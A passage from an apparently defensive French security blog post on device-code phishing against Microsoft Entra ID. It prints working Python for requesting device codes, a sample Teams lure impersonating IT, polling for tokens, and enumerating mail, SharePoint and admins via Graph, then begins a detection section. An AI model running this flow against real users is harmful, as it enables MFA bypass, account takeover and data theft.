<li class="">Ne nécessite aucun malware sur la machine de la victime</li>
<li class="">Contourne complètement le MFA (c'est l'utilisateur lui-même qui le complète)</li>
<li class="">Produit un refresh token totalement légitime, impossible à distinguer d'une connexion normale</li>
<li class="">Peut être exécuté entièrement par email ou messages Teams</li>
<li class="">Fonctionne même contre le MFA par token matériel (les clés FIDO2 ne <strong>protègent PAS</strong> contre ceci)</li>
</ul>
<p>Comprendre pourquoi nécessite de comprendre le flux OAuth 2.0 Device Authorization Grant  conçu pour les appareils sans navigateur (TV connectées, appareils IoT) et qui a été utilisé comme arme contre les utilisateurs en entreprise.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-flux-légitime-pour-comprendre-ce-qui-est-détourné">Le Flux Légitime (Pour Comprendre ce qui est Détourné)<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#le-flux-l%C3%A9gitime-pour-comprendre-ce-qui-est-d%C3%A9tourn%C3%A9" class="hash-link" aria-label="Direct link to Le Flux Légitime (Pour Comprendre ce qui est Détourné)" title="Direct link to Le Flux Légitime (Pour Comprendre ce qui est Détourné)" translate="no">​</a></h3>
<p>Le Device Authorization Grant (<code>urn:ietf:params:oauth:grant-type:device_code</code>) fonctionne ainsi :</p>
<ol>
<li class="">Un appareil qui ne peut pas afficher de navigateur appelle le point de terminaison d'autorisation et reçoit un <code>device_code</code> et un <code>user_code</code></li>
<li class="">L'appareil affiche : "Allez sur microsoft.com/devicelogin et entrez le code : ABCD-EFGH"</li>
<li class="">L'utilisateur ouvre un navigateur, navigue vers cette URL, entre le code, et complète l'authentification y compris le MFA</li>
<li class="">L'appareil interroge le point de terminaison de token jusqu'à recevoir l'access token et le refresh token</li>
</ol>
<p>L'intention de conception est que l'appareil initie la requête, et l'utilisateur l'approuve ailleurs. L'attaque inverse ce mécanisme : l'attaquant initie la requête et trompe l'utilisateur pour qu'il l'approuve.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-flux-dattaque-étape-par-étape">Le Flux d'Attaque, Étape par Étape<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#le-flux-dattaque-%C3%A9tape-par-%C3%A9tape" class="hash-link" aria-label="Direct link to Le Flux d'Attaque, Étape par Étape" title="Direct link to Le Flux d'Attaque, Étape par Étape" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Étape 1 : L'attaquant initie une requête de device code</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># (c'est une requête OAuth standard  aucun exploit requis)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> requests</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">tenant_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"common"</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ou l'ID du tenant cible</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">client_id </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"d3590ed6-52b3-4102-aeff-aad2292ab01c"</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ID client Microsoft Office (légitime)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Demander un device code</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">response </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">post</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"https://login.microsoftonline.com/</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">tenant_id</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">/oauth2/v2.0/devicecode"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    data</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_id"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> client_id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string" style="color:hsl(139, 66%, 32%)">"scope"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"openid profile email offline_access https://graph.microsoft.com/.default"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">device_code_data </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> response</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">user_code </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> device_code_data</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"user_code"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">       </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ex. "ABCD-EFGH"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">device_code </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> device_code_data</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"device_code"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">   </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># longue chaîne opaque</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">verification_uri </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> device_code_data</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"verification_uri"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># microsoft.com/devicelogin</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Envoyer la victime vers : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">verification_uri</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Lui dire d'entrer le code : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">user_code</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Étape 2 : L'attaquant envoie un message de phishing à la victime</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Exemple de message Teams (observé dans de vraies campagnes Midnight Blizzard) :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># "Bonjour, ici la Sécurité Informatique. Nous déployons un nouveau contrôle</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#  de conformité MFA. Veuillez aller sur microsoft.com/devicelogin et entrer</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#  ce code pour vérifier votre appareil : ABCD-EFGH</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#  Cela prend 2 minutes et doit être fait avant la fin de journée."</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># La victime fait confiance car :</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># - L'URL est une vraie URL Microsoft</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># - Le flux ressemble exactement à une inscription d'appareil légitime</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># - Elle l'a probablement déjà fait pour de vraies demandes IT</span><br></span></code></pre></div></div>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Étape 3 : L'attaquant interroge le token pendant que la victime s'authentifie</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> time</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">while</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">True</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    poll_response </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">post</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"https://login.microsoftonline.com/</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">tenant_id</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">/oauth2/v2.0/token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        data</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">"client_id"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> client_id</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">"grant_type"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"urn:ietf:params:oauth:grant-type:device_code"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token string" style="color:hsl(139, 66%, 32%)">"device_code"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> device_code</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    result </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> poll_response</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"access_token"</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> result</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        access_token </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> result</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"access_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        refresh_token </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> result</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">"refresh_token"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Valide pendant 90 jours</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"SUCCÈS  accès persistant obtenu"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Refresh token : </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">refresh_token</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token string-interpolation interpolation format-spec">50]</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">..."</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">break</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">elif</span><span class="token plain"> result</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"error"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"authorization_pending"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">sleep</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token number" style="color:hsl(212, 92%, 35%)">5</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Continuer à interroger</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">else</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">break</span><br></span></code></pre></div></div>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Étape 4 : L'attaquant utilise le refresh token pour énumérer et accéder aux ressources</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">headers </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string" style="color:hsl(139, 66%, 32%)">"Authorization"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"Bearer </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation">access_token</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Qui suis-je ?</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">me </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Quels emails puis-je lire ?</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">emails </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/me/messages?$top=10&amp;$select=subject,from,receivedDateTime"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Quels sites SharePoint existent ?</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">sites </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/sites?search=*"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Qui sont les Administrateurs Globaux ?</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">admins </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Global Administrator'"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    headers</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">headers</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">json</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><br></span></code></pre></div></div>
<p>L'attaquant dispose maintenant d'un refresh token valide 90 jours. Il peut lire tous les emails, énumérer l'intégralité du répertoire, accéder à SharePoint, et  selon le rôle de la victime  potentiellement escalader davantage.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="détection">Détection<a href="https://inferencedefense.com/fr/blog/comment-les-attaquants-abusent-entra-id-oauth-sans-malware#d%C3%A9tection" class="hash-link" aria-label="Direct link to Détection" title="Direct link to Détection" translate="no">​</a></h3>
<p>Le phishing device code est détectable, mais seulement si vous savez quoi chercher. Le signal clé est dans <code>AADSignInLogs</code> où <code>AuthenticationProtocol = deviceCode</code> pour des utilisateurs qui ne devraient jamais utiliser ce protocole.</p>
